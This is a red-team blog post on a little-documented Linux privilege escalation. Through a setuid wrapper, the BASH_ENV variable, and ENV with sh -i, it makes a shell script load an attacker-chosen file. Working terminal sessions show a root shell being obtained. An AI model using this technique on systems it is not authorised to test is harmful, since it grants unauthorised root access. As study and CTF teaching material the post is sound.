title: Forgotten Environment Variable
date: Jun 07, 2024
tags: cheatsheets redteam privesc
During the third edition of Hacky'Nov, I realized during the competition that a challenge I'd prepared required very few resources to solve.
Yet it's a privesc that's extremely simple to exploit, but very poorly documented.
Let's delve into environment variables operating in interactive and non-interactive modes and see what they REALLY mean.
Imagine the following C code calling a script to run as root:
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main(void)
{
setreuid(geteuid(), geteuid());
system("./script.sh");
}
Here is the script called
#!/bin/bash
# Message for the user
/bin/whoami
/bin/echo "Checking the condition..."
# Condition that is always false
if [ 1 -eq 2 ]; then
/bin/echo "This condition is true."
else
/bin/echo "False..."
exit
fi
# End of the script
echo "End of the script."
Here we can see that it would be possible to exploit the last echo
, but impossible to bypass the condition.
A look at bash's manual shows this information.
When Bash is started non-interactively, to run a shell script, for example, it looks for the variable BASH_ENV in the environment, expands its value if it appears there, and uses the expanded value as the name of a file to read and execute.
The equivalent code is :
if [ -n "$BASH_ENV" ]; then . "$BASH_ENV"; fi
If we follow this logic, all we need to do is declare this environment variable to run any script:
lololekik@srv441507:~/env$ ls -lisa vulnexec
272703 20 -rwsr-xr-x 1 root root 16720 Jun 7 07:32 vulnexec
lololekik@srv441507:~/env$ echo "/bin/bash" > exploit.sh
lololekik@srv441507:~/env$ BASH_ENV=./exploit.sh ./vulnexec
root@srv441507:~/env# whoami && id
root
uid=0(root) gid=1000(lololekik) groups=1000(lololekik),27(sudo),997(docker)
root@srv441507:~/env# exit
exit
root
Checking the condition...
False...
The BASH_ENV
is therefore used to load other scripts before the non-interactive execution of a called script.
Now that we know that, let's try to go a step further.
Is it possible to use BASH_ENV
in all our scripts?
Let's take the same C code, but replace our bash
with sh
.
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main(void)
{
setreuid(geteuid(), geteuid());
system("/bin/sh /home/lololekik/env/script.sh");
}
Now let's compile this code and try to exploit BASH_ENV with an sh
script.
lololekik@srv441507:~/env$ gcc exec.c -o exec && sudo chown root:root exec && sudo chmod u+s exec
[sudo] password for lololekik:
lololekik@srv441507:~/env$ BASH_ENV=./exploit.sh ./exec
root
Checking the condition...
False...
lololekik@srv441507:~/env$
Here we can see that it doesn't work. Indeed, if we look a little further in the bash
and sh
documentation, we can see that the alternative to BASH_ENV
in sh
is ENV
.
However, if you try this, it doesn't work.
lololekik@srv441507:~/env$ ENV=./exploit.sh ./exec
root
Checking the condition...
False...
lololekik@srv441507:~/env$
If you look closely, you'll see that there's a big difference in the documentation between bash
and sh
.
When invoked as an interactive shell with the name sh, Bash looks for the variable ENV, expands its value if it is defined, and uses the expanded value as the name of a file to read and execute.
bash
will execute BASH_ENV
when run in non-interactive mode, whereas sh
will execute ENV
only in interactive mode.
This script running in non-interactive mode cannot therefore be operated with sh
.
But let's see in which cases it is possible to exploit the ENV
variable in an interactive shell.
From my initial research, I thought that a shell could “switch” to interactive mode as soon as human intervention was required to complete the script.
So I quickly made the following script to try and exploit it:
#!/bin/sh
# Prompt for a password and compare its hash
check_password() {
echo -n "Enter your password: "
stty -echo
read password
stty echo
echo
# Compute the SHA-256 hash of the entered password
password_hash=$(echo -n "$password" | sha256sum | awk '{print $1}')
# Predefined hash to compare against (example: hash of "StrongP@ssw0rd!")
PREDEFINED_HASH="6e30ecb751cedbafbb0c29ddac7d55cfe6a39c6e022db6ac13ad2658451e2b4b"
# Compare the computed hash with the predefined hash
if [ "$password_hash" = "$PREDEFINED_HASH" ]; then
echo "Password is correct."
else
echo "Password is incorrect."
fi
}
# Call the function to check the password
check_password
The idea here is not to bypass the password condition, but to call arbitrary code with ENV
.
To do this, we'll try to display a message before the script is executed:
lololekik@srv441507:~/env$ echo "echo 'ENV File loaded : pwn :) '" > exploit.sh
lololekik@srv441507:~/env$ chmod +x exploit.sh
lololekik@srv441507:~/env$ ENV=./exploit.sh ./checkpassword.sh
Enter your password:
Password is incorrect.
lololekik@srv441507:~/env$ export ENV=./exploit.sh
lololekik@srv441507:~/env$ sh -c "./checkpassword.sh"
Enter your password:
Password is incorrect.
lololekik@srv441507:~/env$ sh -c "whoami"
lololekik
lololekik@srv441507:~/env$ ENV=./exploit.sh sh checkpassword.sh
Enter your password:
Password is incorrect.
lololekik@srv441507:~/env$
Here we see that it doesn't work even if we change the way we call our code.
That's because we're not calling our shell in an interactive mode. Just because there's interaction with the user doesn't mean our shell will be “interactive”.
However, if we specify the -i
option, we'll enter an interactive mode.
lololekik@srv441507:~/env$ export ENV=./exploit.sh
lololekik@srv441507:~/env$ sh -i ./checkpassword.sh
ENV File loaded : pwn :)
$ $ $ $ > > > > > > > > > > > > > > > > > > > $ $ $ Enter your password:
Password is incorrect.
$
lololekik@srv441507:~/env$ sh -ci "whoami"
ENV File loaded : pwn :)
lololekik
So under what conditions should the ENV
environment variable be exploited?
The ENV
environment variable can be used if scripts are called with the -i
option in cli or in the shebang.
lololekik@srv441507:~/env$ head checkpassword.sh -n 1
#!/bin/sh -i
lololekik@srv441507:~/env$ ./checkpassword.sh
ENV File loaded : pwn :)
$ $ $ $ > > > > > > > > > > > > > > > > > > > $ $ $ Enter your password:
Password is incorrect.
$
Interactive mode does not work with bash.
lololekik@srv441507:~/env$ ENV=./exploit.sh bash -i checkpassword.sh
Enter your password:
Password is incorrect.
lololekik@srv441507:~/env$ BASH_ENV=./exploit.sh bash -i checkpassword.sh
Enter your password:
Password is incorrect.
lololekik@srv441507:~/env$ BASH_ENV=./exploit.sh bash checkpassword.sh
ENV File loaded : pwn :)
Enter your password:
Password is incorrect.
lololekik@srv441507:~/env$
When searching for privesc, there may be environment variables that could be interesting to exploit.
Always ask yourself what mode a program is running in, to see if you can load arbitrary scripts.
Note that this attack only makes sense if a program is executed with different rights from your own.